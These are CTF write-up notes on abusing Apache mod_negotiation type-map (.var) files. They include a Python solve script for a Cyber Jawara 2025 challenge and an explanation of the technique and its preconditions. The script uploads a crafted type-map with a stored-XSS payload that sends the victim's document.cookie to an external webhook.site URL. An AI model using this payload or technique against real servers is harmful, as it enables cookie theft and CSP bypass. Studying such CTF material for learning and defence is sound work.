mod_rewrite misconfiguration
SCTF havefun
SCTF 2024 By W&M - W&M Team (wm-team.cn)
https://adworld.xctf.org.cn/contest/assess?hash=4124a446-65a9-11ef-a39a-000c297261bb
Mod Negotation page redirection that can bypass CSP?
| Event Name | Cyber Jawara Quals 2025 |
| GitHub URL | - |
| Challenge Name | sandboxed-viewer |
Attachments
References
import httpx
import asyncio
URL = "http://gzcli.1pc.tf:51861"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def upload(self, file):
return self.c.post("/upload", files={"file": file})
def register(self, email, password):
return self.c.post("/register", data={"email": email, "password": password})
def login(self, email, password):
return self.c.post("/login", data={"email": email, "password": password})
class API(BaseAPI):
...
async def main():
api = API()
await api.register("test@example.com", "password")
await api.login("test@example.com", "password")
res = await api.upload(("testing.var.txt", """URI: ../admin?js=%24el.html%28`\\u003cform+id=x+style=display:block%3bcontent-visibility:auto+oncontentvisibilityautostatechange=fetch%28'//webhook.site/917db213-3448-44df-b387-84ed9dd42d62/?'%2bdocument.cookie%29\\u003e\\u003cinput+name=attributes\\u003e\\u003cinput+name=attributes\\u003e\\u003c/form\\u003e`%29
Content-Type: text/html"""))
path = res.json()['path']
print(api.c.base_url.join(path))
if __name__ == "__main__":
asyncio.run(main())
Apache type-map (mod_negotiation) — technique + stack check
| Technique | Apache mod_negotiation type-map (.var) / MultiViews abuse |
|---|---|
| Primitives | arbitrary file read · internal redirect / SSRF-to-self · stored-XSS / CSP bypass · upload extension-filter bypass |
| Worked example | see Mod Negotation page redirection that can bypass CSP? above (Cyber Jawara Quals 2025 — sandboxed-viewer) |
| Checked against | Signetry / Crownspire (HTB CA2026) — 2026-06-15 |
How it works. With mod_negotiation and AddHandler type-map .var (or Options +MultiViews), Apache treats certain files as type-maps: a plain-text map whose fields (URI:, Content-Type:, Body:, Content-Language:…) tell Apache which variant to serve. AddHandler type-map var matches any filename containing .var as an extension token — so an upload named e.g. testing.var.txt is still parsed as a map. A URI: pointing at a relative/internal path turns the upload into an internal-redirect / file-read primitive served same-origin from the upload directory; pairing Content-Type: text/html with a URI: to an HTML-reflecting endpoint yields stored-XSS that bypasses CSP. MultiViews alone also enables extension-filter bypass and source/backup discovery (/x → /x.php, /x.phps).
.var type-map body:
URI: ../admin?js=<payload>
Content-Type: text/html
Preconditions (all required):
httpd fronting the appmod_negotiation enabledAddHandler type-map .var or Options +MultiViews on the served pathr.Static("/assets", …) → Go net/http http.FileServer. No content negotiation, no type-maps, no MultiViews — a .var upload is returned as opaque bytes and URI:/Body: are never interpreted.com.sun.net.httpserver.HttpServer; /files/ does Files.readAllBytes with normalize() + startsWith containment. No negotiation layer.eclipse-temurin:11-jre + redis-server (apt) — no httpd, no mod_negotiation./app/web/assets (served by gin), unrelated to type-maps. Not a viable unintended path here.